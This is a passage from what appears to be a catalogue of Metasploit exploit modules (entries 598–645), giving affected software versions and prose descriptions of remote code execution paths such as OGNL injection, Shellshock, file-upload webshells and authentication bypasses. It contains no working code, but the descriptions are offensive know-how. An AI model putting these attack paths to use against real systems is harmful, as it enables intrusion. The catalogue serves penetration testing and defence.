  Target should run JDK < 15

End Exploit Number 598

Begin Exploit Number 599
       Name: Apache Couchdb Erlang RCE
     Module: exploit/multi/http/apache_couchdb_erlang_rce
   Platform: Windows, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-01-21

Payload information:

Description:
  In Apache CouchDB prior to 3.2.2, an attacker can access an
improperly secured default installation without
  authenticating and gain admin privileges.

End Exploit Number 599

Begin Exploit Number 600
       Name: Apache Druid JNDI Injection RCE
     Module: exploit/multi/http/apache_druid_cve_2023_25194
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-02-07
```

```
Payload information:

Description:
  This module is designed to exploit the JNDI injection vulnerability
  in Druid. The vulnerability specifically affects the indexer/v1/
sampler
  interface of Druid, enabling an attacker to execute arbitrary
commands
  on the targeted server.

  The vulnerability is found in Apache Kafka clients versions ranging
from
  2.3.0 to 3.3.2. If an attacker can manipulate the sasl.jaas.config
  property of any of the connector's Kafka clients to
com.sun.security.auth.module.JndiLoginModule,
  it allows the server to establish a connection with the attacker's
LDAP server
  and deserialize the LDAP response. This provides the attacker with
the capability
  to execute java deserialization gadget chains on the Kafka connect
server,
  potentially leading to unrestricted deserialization of untrusted
data or even
  remote code execution (RCE) if there are relevant gadgets in the
classpath.

  To facilitate the exploitation process, this module will initiate an
LDAP server
  that the target server needs to connect to in order to carry out the
attack.

End Exploit Number 600

Begin Exploit Number 601
       Name: Apache Flink JAR Upload Java Code Execution
     Module: exploit/multi/http/apache_flink_jar_upload_exec
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-11-13

Payload information:

Description:
  This module uses job functionality in Apache Flink dashboard web
  interface to upload and execute a JAR file, leading to remote
  execution of arbitrary Java code as the web server user.
  This module has been tested successfully on Apache Flink versions:
  1.9.3 on Ubuntu 18.04.4;
  1.11.2 on Ubuntu 18.04.4;
  1.9.3 on Windows 10; and
  1.11.2 on Windows 10.

End Exploit Number 601

Begin Exploit Number 602
       Name: Apache Jetspeed Arbitrary File Upload
     Module: exploit/multi/http/apache_jetspeed_file_upload
   Platform: Linux, Windows
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Manual
  Disclosed: 2016-03-06

Payload information:

Description:
  This module exploits the unsecured User Manager REST API and a ZIP
file
  path traversal in Apache Jetspeed-2, version 2.3.0 and unknown
earlier
  versions, to upload and execute a shell.

  Note: this exploit will create, use, and then delete a new admin
user.

  Warning: in testing, exploiting the file upload clobbered the web
  interface beyond repair. No workaround has been found yet. Use this
  module at your own risk. No check will be implemented.

End Exploit Number 602

Begin Exploit Number 603
       Name: Apache mod_cgi Bash Environment Variable Code Injection
(Shellshock)
     Module: exploit/multi/http/apache_mod_cgi_bash_env_exec
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-24

Payload information:
  Space: 2048
```

```
Description:
  This module exploits the Shellshock vulnerability, a flaw in how the
Bash shell
  handles external environment variables. This module targets CGI
scripts in the
  Apache web server by setting the HTTP_USER_AGENT environment
variable to a
  malicious function definition.

End Exploit Number 603

Begin Exploit Number 604
       Name: Apache NiFi API Remote Code Execution
     Module: exploit/multi/http/apache_nifi_processor_rce
   Platform: Unix, Linux, OSX, Windows
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2020-10-03

Payload information:
  Avoid: 1 characters

Description:
  This module uses the NiFi API to create an ExecuteProcess processor
that will execute OS commands. The API must
  be unsecured (or credentials provided) and the ExecuteProcess
processor must be available. An ExecuteProcessor
  processor is created then is configured with the payload and
started. The processor is then stopped and
  deleted.

  Verified against 1.12.1, 1.12.1-RC2, and 1.20.0

End Exploit Number 604

Begin Exploit Number 605
       Name: Apache 2.4.49/2.4.50 Traversal RCE
     Module: exploit/multi/http/apache_normalize_path_rce
   Platform: Unix, Linux
       Arch: cmd, x64, x86
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-05-10

Payload information:

Description:
  This module exploit an unauthenticated RCE vulnerability which
exists in Apache version 2.4.49 (CVE-2021-41773).
  If files outside of the document root are not protected by ‘require
all denied’ and CGI has been explicitly enabled,
  it can be used to execute arbitrary commands (Remote Command
Execution).
  This vulnerability has been reintroduced in Apache 2.4.50 fix
(CVE-2021-42013).

End Exploit Number 605

Begin Exploit Number 606
       Name: Apache OFBiz Forgot Password Directory Traversal
     Module: exploit/multi/http/
apache_ofbiz_forgot_password_directory_traversal
   Platform: Linux, Windows
       Arch: cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-05-30

Payload information:
  Avoid: 1 characters

Description:
  Apache OFBiz versions prior to 18.12.13 are vulnerable to a path
traversal vulnerability. The vulnerable
  endpoint /webtools/control/forgotPassword allows an attacker to
access the ProgramExport endpoint which in
  turn allows for remote code execution in the context of the user
running the application.

End Exploit Number 606

Begin Exploit Number 607
       Name: Apache RocketMQ update config RCE
     Module: exploit/multi/http/apache_rocketmq_update_config
   Platform: Unix, Linux
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-05-23

Payload information:
  Avoid: 1 characters

Description:
  RocketMQ versions 5.1.0 and below are vulnerable to Arbitrary Code
```

```
Injection. Broker component of RocketMQ is
  leaked on the extranet and lack permission verification. An attacker
can exploit this vulnerability by using
  the update configuration function to execute commands as the system
users that RocketMQ is running as.
  Additionally, an attacker can achieve the same effect by forging the
RocketMQ protocol content.

End Exploit Number 607

Begin Exploit Number 608
       Name: Apache Roller OGNL Injection
     Module: exploit/multi/http/apache_roller_ognl_injection
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-10-31

Payload information:

Description:
  This module exploits an OGNL injection vulnerability in Apache
Roller < 5.0.2. The
  vulnerability is due to an OGNL injection on the UIAction controller
because of an
  insecure usage of the ActionSupport.getText method. This module has
been tested
  successfully on Apache Roller 5.0.1 on Ubuntu 10.04.

End Exploit Number 608

Begin Exploit Number 609
       Name: appRain CMF Arbitrary PHP File Upload Vulnerability
     Module: exploit/multi/http/apprain_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-01-19

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in appRain's Content
Management
  Framework (CMF), version 0.1.5 or less.  By abusing the
```

```
uploadify.php file, a
  malicious user can upload a file to the uploads/ directory without
any
  authentication, which results in arbitrary code execution.

End Exploit Number 609

Begin Exploit Number 610
       Name: Atlassian Confluence Namespace OGNL Injection
     Module: exploit/multi/http/
atlassian_confluence_namespace_ognl_injection
   Platform: Unix, Linux, Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-06-02

Payload information:

Description:
  This module exploits an OGNL injection in Atlassian Confluence
servers. A specially crafted URI can be used to
  evaluate an OGNL expression resulting in OS command execution.

End Exploit Number 610

Begin Exploit Number 611
       Name: Atlassian Confluence Unauthenticated Remote Code
Execution
     Module: exploit/multi/http/
atlassian_confluence_rce_cve_2023_22515
   Platform:
       Arch:
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-10-04

Payload information:

Description:
  This module exploits an improper input validation issue in Atlassian
Confluence, allowing arbitrary HTTP
  parameters to be translated into getter/setter sequences via the
XWorks2 middleware and in turn allows for
  Java objects to be modified at run time. The exploit will create a
new administrator user and upload a
  malicious plugins to get arbitrary code execution. All versions of
Confluence between 8.0.0 through to 8.3.2,
  8.4.0 through to 8.4.2, and 8.5.0 through to 8.5.1 are affected.

End Exploit Number 611

Begin Exploit Number 612
       Name: Atlassian Confluence SSTI Injection
     Module: exploit/multi/http/
atlassian_confluence_rce_cve_2023_22527
   Platform: Unix, Linux, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-01-16

Payload information:

Description:
  This module exploits an SSTI injection in Atlassian Confluence
servers. A specially crafted HTTP request uses
  the injection to evaluate an OGNL expression resulting in OS command
execution.
  Versions 8.5.0 through 8.5.3 and 8.0 to 8.4 are known to be
vulnerable.

End Exploit Number 612

Begin Exploit Number 613
       Name: Atlassian Confluence Administrator Code Macro Remote Code
Execution
     Module: exploit/multi/http/
atlassian_confluence_rce_cve_2024_21683
   Platform: Unix, Linux, Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-05-21

Payload information:

Description:
  This module exploits an authenticated administrator-level
vulnerability in Atlassian Confluence,
  tracked as CVE-2024-21683. The vulnerability exists due to the Rhino
script engine parser evaluating
  tainted data from uploaded text files. This facilitates arbitrary
code execution. This exploit will
  authenticate, validate user privileges, extract the underlying host
OS information, then trigger
```

```
  remote code execution. All versions of Confluence prior to 7.17 are
affected, as are many versions
  up to 8.9.0.

End Exploit Number 613

Begin Exploit Number 614
       Name: Atlassian Confluence Unauth JSON setup-restore Improper
Authorization leading to RCE (CVE-2023-22518)
     Module: exploit/multi/http/atlassian_confluence_unauth_backup
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-10-31

Payload information:

Description:
  This Improper Authorization vulnerability allows an unauthenticated
attacker to reset Confluence and create a
  Confluence instance administrator account. Using this account, an
attacker can then perform all
  administrative actions that are available to Confluence instance
administrator. This module uses the
  administrator account to install a malicious .jsp servlet plugin
which the user can trigger to gain code
  execution on the target in the context of the of the user running
the confluence server.

End Exploit Number 614

Begin Exploit Number 615
       Name: Atlassian Confluence WebWork OGNL Injection
     Module: exploit/multi/http/
atlassian_confluence_webwork_ognl_injection
   Platform: Unix, Linux, Windows
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-08-25

Payload information:

Description:
  This module exploits an OGNL injection in Atlassian Confluence's
  WebWork component to execute commands as the Tomcat user.
```

```
End Exploit Number 615

Begin Exploit Number 616
       Name: Atlassian Crowd pdkinstall Unauthenticated Plugin Upload
RCE
     Module: exploit/multi/http/
atlassian_crowd_pdkinstall_plugin_upload_rce
   Platform: Java
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-05-22

Payload information:

Description:
  This module can be used to upload a plugin on Atlassian Cloud via
  the pdkinstall development plugin as an unauthenticated attacker.
  The payload is uploaded as a JAR archive containing a servlet using
  a POST request to /crowd/admin/uploadplugin.action. The check
command will
  check that the /crowd/admin/uploadplugin.action page exists and that
it
  responds appropriately to determine if the target is vulnerable or
not.

End Exploit Number 616

Begin Exploit Number 617
       Name: ATutor 2.2.1 SQL Injection / Remote Code Execution
     Module: exploit/multi/http/atutor_sqli
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-03-01

Payload information:

Description:
  This module exploits a SQL Injection vulnerability and an
authentication weakness
  vulnerability in ATutor. This essentially means an attacker can
bypass authentication
  and reach the administrator's interface where they can upload
malicious code.

End Exploit Number 617
```

```
Begin Exploit Number 618
       Name: ATutor 2.2.4 - Directory Traversal / Remote Code
Execution,
     Module: exploit/multi/http/atutor_upload_traversal
   Platform: Linux, Windows
       Arch: x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-05-17

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability together
with
  a directory traversal flaw in ATutor versions 2.2.4, 2.2.2 and 2.2.1
in
  order to execute arbitrary commands.

  It first creates a zip archive containing a malicious PHP file. The
zip
  archive takes advantage of a directory traversal vulnerability that
will
  cause the PHP file to be dropped in the root server directory
(`htdocs`
  for Windows and `html` for Linux targets). The PHP file contains an
  encoded payload that allows for remote command execution on the
  target server. The zip archive can be uploaded via two vectors, the
  `Import New Language` function and the `Patcher` function. The
module
  first uploads the archive via `Import New Language` and then
attempts to
  execute the payload via an HTTP GET request to the PHP file  in the
root
  server directory. If no session is obtained, the module creates
another
  zip archive and attempts exploitation via `Patcher`.

  Valid credentials for an ATutor admin account are required. This
module
  has been successfully tested against ATutor 2.2.4 running on Windows
10
  (XAMPP server).

End Exploit Number 618

Begin Exploit Number 619
       Name: Auxilium RateMyPet Arbitrary File Upload Vulnerability
     Module: exploit/multi/http/auxilium_upload_exec
   Platform: Linux, PHP
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-09-14

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability found in Auxilium RateMyPet's.
The site
  banner uploading feature can be abused to upload an arbitrary file
to the web
  server, which is accessible in the 'banner' directory, thus allowing
remote code
  execution.

End Exploit Number 619

Begin Exploit Number 620
       Name: AVideo WWBNIndex Plugin Unauthenticated RCE
     Module: exploit/multi/http/avideo_wwbnindex_unauth_rce
   Platform: PHP, Unix, Linux, Windows
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-04-09

Payload information:

Description:
  This module exploits an unauthenticated remote code execution (RCE)
vulnerability
  in the WWBNIndex plugin of the AVideo platform. The vulnerability
exists within the
  `submitIndex.php` file, where user-supplied input is passed directly
to the `require()`
  function without proper sanitization. By exploiting this, an
attacker can leverage the
  PHP filter chaining technique to execute arbitrary PHP code on the
server. This allows
  for the execution of commands and control over the affected system.
The exploit is
  particularly dangerous because it does not require authentication,
making it possible
  for any remote attacker to exploit this vulnerability.
```

```
End Exploit Number 620

Begin Exploit Number 621
       Name: Axis2 / SAP BusinessObjects Authenticated Code Execution
(via SOAP)
     Module: exploit/multi/http/axis2_deployer
   Platform: Java, Linux, Windows
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2010-12-30

Payload information:

Description:
  This module logs in to an Axis2 Web Admin Module instance using a
specific user/pass
  and uploads and executes commands via deploying a malicious web
service by using SOAP.

End Exploit Number 621

Begin Exploit Number 622
       Name: Baldr Botnet Panel Shell Upload Exploit
     Module: exploit/multi/http/baldr_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-12-19

Payload information:

Description:
  This module exploits an arbitrary file upload vulnerability within
the Baldr
  stealer malware control panel when uploading victim log files (which
are uploaded
  as ZIP files). Attackers can turn this vulnerability into an RCE by
first
  registering a new bot to the panel and then uploading a ZIP file
containing
  malicious PHP, which will then uploaded to a publicly accessible
  directory underneath the /logs web directory.

  Note that on versions 3.0 and 3.1 the ZIP files containing the
victim log files
```

```
  are encoded by XORing them with a random 4 byte key. This exploit
module gets around
  this restriction by retrieving the IP specific XOR key from panel
gate before
  uploading the malicious ZIP file.

End Exploit Number 622

Begin Exploit Number 623
       Name: Bassmaster Batch Arbitrary JavaScript Injection Remote
Code Execution
     Module: exploit/multi/http/bassmaster_js_injection
   Platform: Linux, BSD
       Arch: x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-11-01

Payload information:

Description:
  This module exploits an un-authenticated code injection
vulnerability in the bassmaster
  nodejs plugin for hapi. The vulnerability is within the batch
endpoint and allows an
  attacker to dynamically execute JavaScript code on the server side
using an eval.

  Note that the code uses a '\x2f' character so that we hit the match
on the regex.

End Exploit Number 623

Begin Exploit Number 624
       Name: Bitbucket Environment Variable RCE
     Module: exploit/multi/http/bitbucket_env_var_rce
   Platform: Windows, Unix, Linux
       Arch: cmd, x86, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-11-16

Payload information:
  Space: 254

Description:
  For various versions of Bitbucket, there is an authenticated command
injection
```

```
  vulnerability that can be exploited by injecting environment
  variables into a user name. This module achieves remote code
execution
  as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF`
environment
  variable, a null character as a delimiter, and arbitrary code into a
user's
  user name. The value (payload) of the `GIT_EXTERNAL_DIFF`
environment variable
  will be run once the Bitbucket application is coerced into
generating a diff.

  This module requires at least admin credentials, as admins and above
  only have the option to change their user name.

End Exploit Number 624

Begin Exploit Number 625
       Name: CMS Bolt File Upload Vulnerability
     Module: exploit/multi/http/bolt_file_upload
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-08-17

Payload information:

Description:
  Bolt CMS contains a flaw that allows an authenticated remote
  attacker to execute arbitrary PHP code. This module was
  tested on version 2.2.4.

End Exploit Number 625

Begin Exploit Number 626
       Name: BuilderEngine Arbitrary File Upload Vulnerability and
execution
     Module: exploit/multi/http/builderengine_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2016-09-18

Payload information:
  Avoid: 1 characters
```

```
Description:
  This module exploits a vulnerability found in BuilderEngine 3.5.0
  via elFinder 2.0. The jquery-file-upload plugin can be abused to
upload a malicious
  file, which would result in arbitrary remote code execution under
the context of
  the web server.

End Exploit Number 626

Begin Exploit Number 627
       Name: Cacti Import Packages RCE
     Module: exploit/multi/http/cacti_package_import_rce
   Platform: Windows
       Arch: php, cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-05-12

Payload information:

Description:
  This exploit module leverages an arbitrary file write vulnerability
  (CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE.
It
  abuses the `Import Packages` feature to upload a specially crafted
  package that embeds a PHP file. Cacti will extract this file to an
  accessible location. The module finally triggers the payload to
execute
  arbitrary PHP code in the context of the user running the web
server.

  Authentication is needed and the account must have access to the
  `Import Packages` feature. This is granted by setting the `Import
  Templates` permission in the `Template Editor` section.

End Exploit Number 627

Begin Exploit Number 628
       Name: Cacti RCE via SQLi in pollers.php
     Module: exploit/multi/http/cacti_pollers_sqli_rce
   Platform: Windows
       Arch: cmd
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-12-20

Payload information:
```

```
Description:
  This exploit module leverages a SQLi (CVE-2023-49085) and a LFI
  (CVE-2023-49084) vulnerability in Cacti versions prior to 1.2.26 to
  achieve RCE. Authentication is needed and the account must have
access
  to the vulnerable PHP script (`pollers.php`). This is granted by
  setting the `Sites/Devices/Data` permission in the `General
  Administration` section.

End Exploit Number 628

Begin Exploit Number 629
       Name: China Chopper Caidao PHP Backdoor Code Execution
     Module: exploit/multi/http/caidao_php_backdoor_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2015-10-27

Payload information:

Description:
  This module takes advantage of the China Chopper Webshell that is
  commonly used by Chinese hackers.

End Exploit Number 629

Begin Exploit Number 630
       Name: ChurchInfo 1.2.13-1.3.0 Authenticated RCE
     Module: exploit/multi/http/churchinfo_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-10-30

Payload information:

Description:
  This module exploits the logic in the CartView.php page when
crafting a draft email with an attachment.
  By uploading an attachment for a draft email, the attachment will be
placed in the /tmp_attach/ folder of the
  ChurchInfo web server, which is accessible over the web by any user.
By uploading a PHP attachment and
  then browsing to the location of the uploaded PHP file on the web
```

```
server, arbitrary code
  execution as the web daemon user (e.g. www-data) can be achieved.

End Exploit Number 630

Begin Exploit Number 631
       Name: Cisco Prime Data Center Network Manager Arbitrary File
Upload
     Module: exploit/multi/http/cisco_dcnm_upload
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2013-09-18

Payload information:

Description:
  This module exploits a code execution flaw in Cisco Data Center
Network Manager. The
  vulnerability exists in processImageSave.jsp, which can be abused
through a directory
  traversal and a null byte injection to upload arbitrary files. The
autodeploy JBoss
  application server feature is used to achieve remote code execution.
This module has been
  tested successfully on Cisco Prime Data Center Network Manager
6.1(2) on Windows 2008 R2
  (64 bits).

End Exploit Number 631

Begin Exploit Number 632
       Name: Cisco Data Center Network Manager Unauthenticated Remote
Code Execution
     Module: exploit/multi/http/cisco_dcnm_upload_2019
   Platform: Java
       Arch: java
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-06-26

Payload information:

Description:
  DCNM exposes a file upload servlet (FileUploadServlet) at /fm/
fileUpload.
  An authenticated user can abuse this servlet to upload a WAR to the
```

```
Apache Tomcat webapps
  directory and achieve remote code execution as root.
  This module exploits two other vulnerabilities, CVE-2019-1619 for
authentication bypass on
  versions 10.4(2) and below, and CVE-2019-1622 (information
disclosure) to obtain the correct
  directory for the WAR file upload.
  This module was tested on the DCNM Linux virtual appliance 10.4(2),
11.0(1) and 11.1(1), and should
  work on a few versions below 10.4(2). Only version 11.0(1) requires
authentication to exploit
  (see References to understand why).

End Exploit Number 632

Begin Exploit Number 633
       Name: ClipBucket beats_uploader Unauthenticated Arbitrary File
Upload
     Module: exploit/multi/http/clipbucket_fileupload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-03-03

Payload information:

Description:
  This module exploits a vulnerability found in ClipBucket versions
before 4.0.0 (Release 4902).
  A malicious file can be uploaded using an unauthenticated arbitrary
file upload vulnerability.
  It is possible for an attacker to upload a malicious script to issue
operating system commands.
  This issue is caused by improper session handling in /action/
beats_uploader.php file.
  This module was tested on ClipBucket before 4.0.0 - Release 4902 on
Windows 7 and Kali Linux.

End Exploit Number 633

Begin Exploit Number 634
       Name: CMS Made Simple Authenticated RCE via object injection
     Module: exploit/multi/http/cmsms_object_injection_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-03-26

Payload information:

Description:
  An issue was discovered in CMS Made Simple 2.2.8.
  In the module DesignManager (in the files action.admin_bulk_css.php
  and action.admin_bulk_template.php), with an unprivileged user
  with Designer permission, it is possible to reach an unserialize
  call with a crafted value in the m1_allparms parameter,
  and achieve object injection.

  This module has been successfully tested on CMS Made Simple versions
  2.2.6, 2.2.7, 2.2.8, 2.2.9 and 2.2.9.1.

End Exploit Number 634

Begin Exploit Number 635
       Name: CMS Made Simple (CMSMS) Showtime2 File Upload RCE
     Module: exploit/multi/http/cmsms_showtime2_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2019-03-11

Payload information:

Description:
  This module exploits a File Upload vulnerability that lead in a RCE
in
  Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An
authenticated
  user with "Use Showtime2" privilege could exploit the vulnerability.

  The vulnerability exists in the Showtime2 module, where the class
  "class.showtime2_image.php" does not ensure that a watermark file
  has a standard image file extension (GIF, JPG, JPEG, or PNG).

  Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1,
3.5.0,
  3.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.1

End Exploit Number 635

Begin Exploit Number 636
       Name: CMS Made Simple Authenticated RCE via File Upload/Copy
     Module: exploit/multi/http/cmsms_upload_rename_rce
   Platform: PHP
```

```
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-07-03

Payload information:

Description:
  CMS Made Simple allows an authenticated administrator to upload a
file
  and rename it to have a .php extension. The file can then be
executed
  by opening the URL of the file in the /uploads/ directory.

  This module has been successfully tested on CMS Made Simple versions
  2.2.5 and 2.2.7.

End Exploit Number 636

Begin Exploit Number 637
       Name: Cockpit CMS NoSQLi to RCE
     Module: exploit/multi/http/cockpit_cms_rce
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-04-13

Payload information:

Description:
  This module exploits two NoSQLi vulnerabilities to retrieve the user
list,
  and password reset tokens from the system.  Next, the USER is
targetted to
  reset their password.
  Then a command injection vulnerability is used to execute the
payload.
  While it is possible to upload a payload and execute it, the command
injection
  provides a no disk write method which is more stealthy.
  Cockpit CMS 0.10.0 - 0.11.1, inclusive, contain all the necessary
vulnerabilities
  for exploitation.

End Exploit Number 637

Begin Exploit Number 638
```

```
       Name: Adobe ColdFusion CKEditor unrestricted file upload
     Module: exploit/multi/http/coldfusion_ckeditor_file_upload
   Platform: Linux, Windows
       Arch: java
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2018-09-11

Payload information:

Description:
  A file upload vulnerability in the CKEditor of Adobe ColdFusion 11
  (Update 14 and earlier), ColdFusion 2016 (Update 6 and earlier), and
  ColdFusion 2018 (July 12 release) allows unauthenticated remote
  attackers to upload and execute JSP files through the filemanager
  plugin.
  Tested on Adobe ColdFusion 2018.0.0.310739.

End Exploit Number 638

Begin Exploit Number 639
       Name: Adobe ColdFusion RDS Authentication Bypass
     Module: exploit/multi/http/coldfusion_rds_auth_bypass
   Platform: Windows, Linux
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Great
  Disclosed: 2013-08-08

Payload information:

Description:
  Adobe ColdFusion 9.0, 9.0.1, 9.0.2, and 10 allows remote
  attackers to bypass authentication using the RDS component. Due to
  default settings or misconfiguration, its password can be set to an
  empty value. This allows an attacker to create a session via the RDS
  login that can be carried over to the admin web interface even
though
  the passwords might be different, and therefore bypassing
authentication
  on the admin web interface leading to arbitrary code execution.
Tested
  on Windows and Linux with ColdFusion 9.

End Exploit Number 639

Begin Exploit Number 640
       Name: Atlassian Confluence Widget Connector Macro Velocity
```

```
Template Injection
     Module: exploit/multi/http/confluence_widget_connector
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2019-03-25

Payload information:

Description:
  Widget Connector Macro is part of Atlassian Confluence Server and 
Data Center that
  allows embed online videos, slideshows, photostreams and more 
directly into page.
  A _template parameter can be used to inject remote Java code into a 
Velocity template,
  and gain code execution. Authentication is unrequired to exploit 
this vulnerability.
  By default, Java payload will be used because it is cross-platform, 
but you can also
  specify which native payload you want (Linux or Windows).

  Confluence before version 6.6.12, from version 6.7.0 before 6.12.3, 
from version
  6.13.0 before 6.13.3 and from version 6.14.0 before 6.14.2 are 
affected.

  This vulnerability was originally discovered by Daniil Dmitriev
  https://twitter.com/ddv_ua.

End Exploit Number 640

Begin Exploit Number 641
       Name: ConnectWise ScreenConnect Unauthenticated Remote Code 
Execution
     Module: exploit/multi/http/
connectwise_screenconnect_rce_cve_2024_1709
   Platform: Windows, Linux, Unix
       Arch: x64, cmd
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2024-02-19

Payload information:

Description:
  This module exploits an authentication bypass vulnerability that
```

```
allows an unauthenticated attacker to create
  a new administrator user account on a vulnerable ConnectWise
ScreenConnect server. The attacker can leverage
  this to achieve RCE by uploading a malicious extension module. All
versions of ScreenConnect version 23.9.7
  and below are affected.

End Exploit Number 641

Begin Exploit Number 642
       Name: CrushFTP Unauthenticated RCE
     Module: exploit/multi/http/crushftp_rce_cve_2023_43177
   Platform: Java, Unix, Linux, Windows
       Arch: java, x64, x86
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2023-08-08

Payload information:

Description:
  This exploit module leverages an Improperly Controlled Modification
  of Dynamically-Determined Object Attributes vulnerability
  (CVE-2023-43177) to achieve unauthenticated remote code execution.
  This affects CrushFTP versions prior to 10.5.1.

  It is possible to set some user's session properties by sending an
HTTP
  request with specially crafted Header key-value pairs. This enables
an
  unauthenticated attacker to access files anywhere on the server file
  system and steal the session cookies of valid authenticated users.
The
  attack consists in hijacking a user's session and escalates
privileges
  to obtain full control of the target. Remote code execution is
obtained
  by abusing the dynamic SQL driver loading and configuration testing
  feature.

End Exploit Number 642

Begin Exploit Number 643
       Name: CUPS Filter Bash Environment Variable Code Injection
(Shellshock)
     Module: exploit/multi/http/cups_bash_env_exec
   Platform: Unix
       Arch: cmd
 Privileged: No
```

```
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2014-09-24

Payload information:
  Space: 1024
  Avoid: 3 characters

Description:
  This module exploits the Shellshock vulnerability, a flaw in how the 
Bash shell
  handles external environment variables. This module targets CUPS 
filters through
  the PRINTER_INFO and PRINTER_LOCATION variables. A valid username 
and password is
  required to exploit this vulnerability through CUPS.

End Exploit Number 643

Begin Exploit Number 644
       Name: CuteFlow v2.11.2 Arbitrary File Upload Vulnerability
     Module: exploit/multi/http/cuteflow_upload_exec
   Platform: PHP
       Arch: php
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2012-07-27

Payload information:
  Avoid: 1 characters

Description:
  This module exploits a vulnerability in CuteFlow version 2.11.2 or 
prior.
  This application has an upload feature that allows an 
unauthenticated
  user to upload arbitrary files to the 'upload/___1/' directory
  and then execute it.

End Exploit Number 644

Begin Exploit Number 645
       Name: ForgeRock / OpenAM Jato Java Deserialization
     Module: exploit/multi/http/cve_2021_35464_forgerock_openam
   Platform: Unix, Linux
       Arch: cmd, x86, x64
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2021-06-29

Payload information:
